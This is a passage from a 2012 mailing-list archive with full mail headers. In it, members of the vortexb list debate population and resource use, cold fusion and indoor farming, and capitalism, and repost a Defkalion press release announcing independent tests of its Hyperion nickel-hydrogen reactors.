set sender to vortexb-l-request@eskimo.com using -f Message-ID: From: "Nick Palmer" To: References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com><8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com><4F00A807.1000604@gmail.com> <20120103070624.430b55b8.vorl.bek@antichef.com> In-Reply-To: <20120103070624.430b55b8.vorl.bek@antichef.com> Subject: Re: [VoB]:Re: [Vo]:Jed and others 2012 predictions please Date: Tue, 3 Jan 2012 18:17:45 -0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6002.18197 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6002.18463 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4484 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 725 Hi Vorl, I don't want to fight but there is an awful lot of anti-green anti- science propaganda around which fools an awful lot of people. You've probably been lied to by skilful deceivers. Environmentalists have, for a very long time, identified the cause of the problems as the number of people multiplied by the average demand on resources per capita. If we had a very low population again we could do what the hell we liked, pollution and waste wise, and it would cause no problems whatsoever. If we had double our current population at our current use of materials and resources we would be completely screwed. <> Yeah, they would fit easily - but try doing the complementery calculation. How much space do you think each human has, if the land surface of Earth was divided up equally? It's not as much as you would think. I just did the calculation for 7 billion and it comes out at a square of land 148 meters on a side. Remember that part of that land will be desert, ice, mountainous land, rainforest and agricultural land plus the area needed to dig up whatever material resources and minerals you use and dispose of mining spoil, your industrial waste and your household rubbish. If you eat animals, they'll need part of your land to feed themselves. Earth is full up with people! I first did that calculation back in 1968 when the population was 3.6 billion and, back then, we had a square 210 metres on a side each, so you can see that things are getting tighter. Nick Palmer On the side of the Planet - and the people - because they're worth it Blogspot - Sustainability and stuff according to Nick Palmer http://nickpalmer.blogspot.com From vortexb-l-request@eskimo.com Tue Jan 3 11:13:10 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q03JD7qm013365; Tue, 3 Jan 2012 11:13:07 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q03JD1Nw013344; Tue, 3 Jan 2012 11:13:01 -0800 Resent-Date: Tue, 3 Jan 2012 11:13:01 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; bh=+TY1g/fou7EAv582iKf3mXUZr1VJU7mCqmAjSn86Ve4=; b=LPdkJMBsFzh/iR7CMkUhjushnhLW3AMoUWeoh03+Yjsq2o2AgaOxY+5ncPTQ2OwGwe KoNoVxm44hyOdhGW/RfgqVfnu4qyMI5HjsETw6K+ROSoklMNMZfPGQRZPLnwaGwBIHvU bFQbisTQuoJjq4LijXplRnF9rpCSMubgrr808= Message-ID: <4F03527D.5060000@gmail.com> Date: Tue, 03 Jan 2012 14:09:49 -0500 From: Jed Rothwell User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20111105 Thunderbird/8.0 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Jed and others 2012 predictions please References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com><8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com><4F00A807.1000604@gmail.com> <20120103070624.430b55b8.vorl.bek@antichef.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4485 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 726 Nick Palmer wrote: > Environmentalists have, for a very long time, identified the cause of > the problems as the number of people multiplied by the average demand > on resources per capita. If we had a very low population again we > could do what the hell we liked, pollution and waste wise, and it > would cause no problems whatsoever. If we had double our current > population at our current use of materials and resources we would be > completely screwed. On the other hand, if we reduced land use per person by a factor of 100, recycle all water, and eliminate all pollution from energy generation, we could increase population without having much impact on the earth. As I pointed out in my book, cold fusion plus other technologies such as indoor farms and cultured meat could accomplish these goals. All of the crops in the U.S. could be grown in an area the size of greater New York City. I do not think it would be a good idea to increase the population even in this scenario, but we could. Indoor farms are already cost effective in many parts of the world, and could be implemented quickly. We can go much farther than this. In 100 or 200 years, we could put all highways and industrial plants underground, freeing up even more land. We could put most industrial production off earth, using space elevators. The population of the solar system as a whole might be far greater than it is on Earth now, while the impact on Earth is far smaller. I favor conservation and farming that preserves the land, but much better solutions are possible. Not farming is better than any kind of farming. - Jed From vortexb-l-request@eskimo.com Tue Jan 3 13:33:37 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q03LXYPd029395; Tue, 3 Jan 2012 13:33:34 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q03LXXXC029379; Tue, 3 Jan 2012 13:33:33 -0800 Resent-Date: Tue, 3 Jan 2012 13:33:33 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 3 Jan 2012 13:30:13 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Jed and others 2012 predictions please Message-ID: <20120103213013.GA25610@shell.resist.ca> Reply-To: grok@resist.ca References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> <20120103070624.430b55b8.vorl.bek@antichef.com> <4F03527D.5060000@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <4F03527D.5060000@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: NSPD 35, snuffle, guided-missile cruiser, strategic bombers, SOAW User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4486 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 727 The REAL answer is to get rid of the anarchic, psychopathic capitalist system of social, ekonomik and political organization. -- grok. As the smoke cleared, Jed Rothwell mounted the barricade and roared out: > Nick Palmer wrote: > > >Environmentalists have, for a very long time, identified the cause > >of the problems as the number of people multiplied by the average > >demand on resources per capita. If we had a very low population > >again we could do what the hell we liked, pollution and waste > >wise, and it would cause no problems whatsoever. If we had double > >our current population at our current use of materials and > >resources we would be completely screwed. > > On the other hand, if we reduced land use per person by a factor of > 100, recycle all water, and eliminate all pollution from energy > generation, we could increase population without having much impact > on the earth. As I pointed out in my book, cold fusion plus other > technologies such as indoor farms and cultured meat could accomplish > these goals. All of the crops in the U.S. could be grown in an area > the size of greater New York City. > > I do not think it would be a good idea to increase the population > even in this scenario, but we could. > > Indoor farms are already cost effective in many parts of the world, > and could be implemented quickly. We can go much farther than this. > In 100 or 200 years, we could put all highways and industrial plants > underground, freeing up even more land. We could put most industrial > production off earth, using space elevators. The population of the > solar system as a whole might be far greater than it is on Earth > now, while the impact on Earth is far smaller. > > I favor conservation and farming that preserves the land, but much > better solutions are possible. Not farming is better than any kind > of farming. > > - Jed > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Tue Jan 3 14:56:20 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q03MuGjQ008397; Tue, 3 Jan 2012 14:56:17 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q03MuEtR008378; Tue, 3 Jan 2012 14:56:14 -0800 Resent-Date: Tue, 3 Jan 2012 14:56:14 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz14.mailnet.ptd.net From: "Jeff Fink" To: References: <8CE95E571E89F70-1F8-5B40F@webmail-m138.sysops.aol.com> <8CE96C6D4605AC8-EE4-61867@webmail-m127.sysops.aol.com> <4F00A807.1000604@gmail.com> <20120103070624.430b55b8.vorl.bek@antichef.com> <4F03527D.5060000@gmail.com> <20120103213013.GA25610@shell.resist.ca> Subject: RE: [VoB]:Re: [Vo]:Jed and others 2012 predictions please Date: Tue, 3 Jan 2012 17:53:01 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Thread-Index: AczKXvhkycSoEHqjTjiZWYQueHFtAgABOMhA In-Reply-To: <20120103213013.GA25610@shell.resist.ca> Resent-Message-ID: <7iifdD.A.1CC.Oe4APB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4487 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 728 Are you saying that we should eliminate the middle class? Capitalism created the middle class. Communism/socialism will subdue the middle class. Since prosperity consumes more resources than poverty, then by restricting prosperity to only the ruling class and forcing the balance of the population to live in poverty we would be well on our way to saving the planet by reducing the demands on our planets resources. Jeff -----Original Message----- From: grok [mailto:grok@resist.ca] Sent: Tuesday, January 03, 2012 4:30 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Jed and others 2012 predictions please The REAL answer is to get rid of the anarchic, psychopathic capitalist system of social, ekonomik and political organization. -- grok. As the smoke cleared, Jed Rothwell mounted the barricade and roared out: > Nick Palmer wrote: > > >Environmentalists have, for a very long time, identified the cause > >of the problems as the number of people multiplied by the average > >demand on resources per capita. If we had a very low population > >again we could do what the hell we liked, pollution and waste > >wise, and it would cause no problems whatsoever. If we had double > >our current population at our current use of materials and > >resources we would be completely screwed. > > On the other hand, if we reduced land use per person by a factor of > 100, recycle all water, and eliminate all pollution from energy > generation, we could increase population without having much impact > on the earth. As I pointed out in my book, cold fusion plus other > technologies such as indoor farms and cultured meat could accomplish > these goals. All of the crops in the U.S. could be grown in an area > the size of greater New York City. > > I do not think it would be a good idea to increase the population > even in this scenario, but we could. > > Indoor farms are already cost effective in many parts of the world, > and could be implemented quickly. We can go much farther than this. > In 100 or 200 years, we could put all highways and industrial plants > underground, freeing up even more land. We could put most industrial > production off earth, using space elevators. The population of the > solar system as a whole might be far greater than it is on Earth > now, while the impact on Earth is far smaller. > > I favor conservation and farming that preserves the land, but much > better solutions are possible. Not farming is better than any kind > of farming. > > - Jed > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Mon Jan 23 05:44:29 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0NDiQjx029050; Mon, 23 Jan 2012 05:44:26 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0NDiDJq029026; Mon, 23 Jan 2012 05:44:13 -0800 Resent-Date: Mon, 23 Jan 2012 05:44:13 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak4JACdiHU/O+Ihr/2dsb2JhbABCigejHoIFgXQGAQE3V0lRBAfAMIkKgxwEiDuMXZJt X-IronPort-AV: E=Sophos;i="4.71,556,1320642000"; d="scan'208";a="158195510" Date: Mon, 23 Jan 2012 08:40:52 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20120123084052.982d84af.vorl.bek@antichef.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4488 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:test Status: RO X-Status: X-Keywords: X-UID: 729 test From vortexb-l-request@eskimo.com Mon Jan 23 05:48:53 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0NDmoIV030414; Mon, 23 Jan 2012 05:48:51 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0NDmorL030407; Mon, 23 Jan 2012 05:48:50 -0800 Resent-Date: Mon, 23 Jan 2012 05:48:50 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=MD5+asElLYbdY22oBZAzchyrGjd5TFicZNxaosR8m8M=; b=Vdy/3FBcJuH9hcud9A8llBjbAJISR6xc90lX1qkzk7B91Y2E88l3t2Hu2cRba8s5pj TfWMFJVQyvTD2NdVb+N231arqI03uRYzhRP20hW+SEFwFLW1zEyP4VGsrTGBu4JjxVY7 kBHD8/tKSYYzTRRuRmNJtUMUwOlz+ayurrHm0= MIME-Version: 1.0 In-Reply-To: <20120123084052.982d84af.vorl.bek@antichef.com> References: <20120123084052.982d84af.vorl.bek@antichef.com> Date: Mon, 23 Jan 2012 08:45:25 -0500 Message-ID: Subject: Re: [VoB]:test From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4489 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 730 Well, well, well. Looks like purgatory is still awake! Hello, Vorl! T On Mon, Jan 23, 2012 at 8:40 AM, Vorl Bek wrote: > test > From vortexb-l-request@eskimo.com Mon Jan 23 09:14:45 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0NHEgcR023209; Mon, 23 Jan 2012 09:14:42 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0NHEUZb023174; Mon, 23 Jan 2012 09:14:30 -0800 Resent-Date: Mon, 23 Jan 2012 09:14:30 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=50ExgaU21nzgqqF31bP6AqWJxeMZXjUR5DDXDhE+4RY=; b=AsKpUL+QV8eWnNqD+fhP/FORSEQmmZGigiBtcj8MHrRJ09pZrAnirzNhQUprL3WJyK naFOrhVO4k5PJ8zbzCoLbweDhtP/TaaL44FKPW90VGUOT9XmFM/7K92tEOnMlnpbCeAW WEF//agUbOnlWBVGGBhhQn7VRjYCp4TnZvftY= MIME-Version: 1.0 Date: Mon, 23 Jan 2012 12:11:04 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4490 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:From Defkalion Status: RO X-Status: X-Keywords: X-UID: 731 Defkalion GT=09 Posted: Mon Jan 23, 2012 11:34 am Joined: Fri Jun 24, 2011 6:56 am Posts: 413=09 Please note the following Press Release of 23/1/2012 on Invitation for Indepentent Testing of Hyperion Reactors to appear also in http://www.defkalion-energy.com/news . All requests or related questions will be answered only through our e-mail. DGT Independent Testing on Hyperion Reactors Praxen Defkalion Green Technologies Global Ltd. (PDGT) is ready to further allow third parties to evaluate its core technology: a multi stage LENR reaction between Nickel and Hydrogen. PDGT has successfully completed its scientific, technological and engineering steps necessary to sustain such a reaction with results exceeding a COP of 20 and with temperatures capable to exceed 650 degrees Celsius. As it was announced in our November 30th Press Release, a series of third party tests on Hyperion products have been scheduled to be performed within the first months of 2012, immediately after our product=92s certification. The present announcement does not refer to such product tests. With this announcement, PDGT welcomes further requests from internationally recognized and reputable scientific and business organizations interested to conduct their independent tests on =93bare=94 Hyperion Reactors. Such independent tests have already been scheduled. Tests will be conducted following mutually agreed protocols based on the general principles herein. Test Objectives =95 Measurement of excess heat produced by reactions within Hyperion reacto= rs =95 Measurement of =93bare=94 Hyperion Reactor COP (i.e. total energy consumed versus energy produced) =95 Measurement of radioactivity during testing =95 Measurement of reactor=92s stability using its control mechanisms Type of Testing Parallel run of two identical Hyperion Reactors connected in parallel to the same electric energy sources for pre-heating and the same Hydrogen input source. The active Reactor #1 will be equipped and prepared ready to trigger and sustain a steady reaction. The Reactor #2 will be empty of any powders and with all triggering and control mechanisms deactivated. Following a parallel test run of both Reactors for at least 48 hours, the two Reactors will be switched for a second run (Reactor #1 empty and Reactor #2 active) in order to authenticate the same results. Configuration & Measurements Both Reactors are of the same configuration, placed in the same room with a 50-60cm distance from each other. Both reactors will be identically isolated. Calibrated thermocouples of the same type will be connected inside each Reactor chamber and attached in the outer surface of each reactor. All four thermocouples will report their measurements to the same data logger and PC logging software. The pressure of the Hydrogen circuit will be monitored and logged with the same sample rate as the thermocouples logging (i.e. 1/sec). All electric consuming devises attached to the Reactors will be measured and logged (Volt and Amps). All electric supplies to the reactors will be through a UPS unit to avoid grid problems and any possible fluctuations. Monitoring of any type of radioactivity from the tested Reactors will be performed following a 24hours measurement of the testing environment, to be used as base measurement. Cooling Method Cold air may be blown to both Reactors through their isolation if the maximum safety temperature level as defined in the test protocol is reached in the active Reactor. Measurement Methodologies 1. On Heat Energy and COP Differential Thermal Analysis: Following the test run, the Temperature/Time logged plots of inner and outer thermocouples will be used to calculate: =95 The difference of integrals between the Temperature/Time logged plots of inner thermocouple measurements of the two Reactors. This results to the calculation of the absolute excess heat energy produced by the active Reactor. =95 The difference of integrals between the logged plots of each pair of inner and outer attached thermocouples attached to each Reactor. =95 The difference of the respective energy of the absolute excess heat energy produced by the active Reactor versus the total electric energy consumed by the active Reactor (heater and controls). This results in the COP of the active Reactor. =95 Reactors will be weighed before and after testing. 2. On Radiation A Muller-Geiger tube, calibrated to the environment base radiation level, will be used to measure alpha and gamma emissions from the active Reactor. 3. On Stability The active Reactor=92s thermocouples measured temperatures, both inner and on outer surface, will be maintained stable with a fluctuation of no more than +/- 10% during the whole testing period, as observed after the triggering of the reaction in the active Reactor. 4. Other Measurements No other measurements (e.g. calorimetry), will be performed during such =93bare=94 Reactor testing. The existing already released specifications of Hyperion products relating to system performance, stability, safety and functionality will not be tested during this series if tests. Reactor=92s Performance It is expected that tests will conclude a COP in excess of 20 Publication of Protocols and Results The detailed test protocols will be published by PGDT before any third party test is performed. Test results may be published by the independent evaluators in the media they choose and in our site, jointly. Following the above, PDGT remains committed to its vision as a pioneer in LENR technology. Hyperion products can be used as a cheap, clean and green energy source for households and industrial applications. PDGT remains committed to the world at large, providing its technology with responsibility and diligence. _________________________________________ Praxen Defkalion Green Technologies Global Ltd. January 23rd 2012 From vortexb-l-request@eskimo.com Mon Jan 23 14:45:16 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0NMjAJG014067; Mon, 23 Jan 2012 14:45:14 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0NMj4le014055; Mon, 23 Jan 2012 14:45:04 -0800 Resent-Date: Mon, 23 Jan 2012 14:45:04 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=highsurf.com; h=Received:From:To:References:In-Reply-To:Subject:Date:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding:X-Mailer:Thread-Index:Content-Language:X-Source:X-Source-Args:X-Source-Dir; b=JbSXQy+9YO8JfyWYeDwocEvPZEn/V1qNnAc5rHuCJqZc1p3/RjJG5v37LctjBWyUt7vbCZFCHyPMoWVgYxcJw0v26ShQOGR5REcbfIAHOmxPXsWQn+aoRUe9coURd7vl; From: "Rick Monteverde" To: References: <20120123084052.982d84af.vorl.bek@antichef.com> In-Reply-To: Subject: RE: [VoB]:test Date: Mon, 23 Jan 2012 12:41:35 -1000 Message-ID: <019401ccda20$2b61a550$8224eff0$@com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AczZ1WMN5T+Us5AuQHGoNDU16kyvzgALtBVg Content-Language: en-us X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cx08.justhost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4491 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 732 Still here. -----Original Message----- From: Terry Blanton [mailto:hohlraum@gmail.com] Sent: Monday, January 23, 2012 3:45 AM To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Well, well, well. Looks like purgatory is still awake! Hello, Vorl! T On Mon, Jan 23, 2012 at 8:40 AM, Vorl Bek wrote: > test > From vortexb-l-request@eskimo.com Mon Jan 23 17:20:26 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0O1KN3H015704; Mon, 23 Jan 2012 17:20:23 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0O1KM69015696; Mon, 23 Jan 2012 17:20:22 -0800 Resent-Date: Mon, 23 Jan 2012 17:20:22 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=JYQIUidRAECiNa+jsiaNMIhYElg3H2WoMKCJIGO75f4= c=1 sm=1 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=KziqslNp1T-pk8Wf7zgA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: In-Reply-To: Subject: RE: [VoB]:From Defkalion Date: Mon, 23 Jan 2012 19:16:55 -0600 Organization: OrionWorks Message-ID: <012001ccda35$dcdaa420$968fec60$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AczZ8gXU3k41AvHvToKqAx28n4H1OAAQ5I7g Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4492 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 733 >From > DGT > > Independent Testing on Hyperion Reactors > > Praxen Defkalion Green Technologies Global Ltd. (PDGT) is ready to > further allow third parties to evaluate its core technology: a multi > stage LENR reaction between Nickel and Hydrogen. Great! Who's on first! Sorry... Me bad. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Mon Jan 23 22:23:38 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0O6Na3G024605; Mon, 23 Jan 2012 22:23:36 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0O6NKMR024551; Mon, 23 Jan 2012 22:23:20 -0800 Resent-Date: Mon, 23 Jan 2012 22:23:20 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 695417.98784.bm@omp1059.mail.bf1.yahoo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1327385990; bh=DZhM9+rWRN/wIzXFyYsmq1kSMoB0QpQVsq2Epbxj4LI=; h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=ORPg9JtP2IEeunwBB7n8iLaDxjpR5r8JNwfsGNdNvLO+xSfER1rqBHCueNr43AP1/PmG6BkFKkhotgdkTlCFs8oqgMdXrCaPln1s0AEjE3AerqZyvj6HCwHfouA/0EOlQqkJLtT3W5iQkN59GD0vWEiVtS5tN0Swo/9fsCL5K6c= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=le1EMJFGqDgNKIpHgAvsehM8us2kFxaD6Uy6aurz0yOt3vnUMk9DG61C1VXFqjdIEhKStVUrLJl6SxMtd/3EDdgtjNSybAMwP/QqA4rxc4xGmqgnw9pQkBom6sSqHFAl2bRlp81Wwm5e4vlMFD1spiC+t6vwosyI0xsfA6pxz4Y=; X-YMail-OSG: 56T46wsVM1mH6EXo5.anOWZSHGZWzhIhWQYL39hKHj7DXnc aPTQzfZ_JoixIxNo5cgPmbkjyOFvwxDrAZr3nKQNyEZIIqIzTOpdV97H6hFm _nugCLi.TdDUM3QVUVmGVxyuBBak1mlHyWVUo5lW8Mnp_atOly_lRPrvXMvk ASnzKCrIwP4qlCQbRMgmf959XaaNUA5HIX1iNJKrYcNQhreQFAAR8Zp91RL_ cOz_ACK5_PdTxOK.ZqXgihVM596tA5eQNp7kTkE9beNlKi9OzimZq2RO3JNb .KIQBX63kBk128OaAZ_ydwh.rhTVzBqBTfU2PfNw2VvmHPkBflc5chmwkgqz NZ_dhL9tdoa1CdAFGItNpLIULbFQofAl8sdEYyoTpk637MryOphAnJJxHjGo a9_EAGOOSDdmnq7NV8WTtbE7p0Ojs6VId9CxQGCOaTc86wGOPH8LlAYLIZTY HWFpeFLt2guaVyf_PMs5M0YxSLSdSnqrwsudOBrgcVLPkcnPoQqDPjOnwNA- - X-Mailer: YahooMailClassic/15.0.4 YahooMailWebService/0.8.116.331537 Message-ID: <1327385990.53661.YahooMailClassic@web160605.mail.bf1.yahoo.com> Date: Mon, 23 Jan 2012 22:19:50 -0800 (PST) From: Kyle Mcallister Subject: RE: [VoB]:test To: vortexb-l@eskimo.com In-Reply-To: <019401ccda20$2b61a550$8224eff0$@com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4493 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: 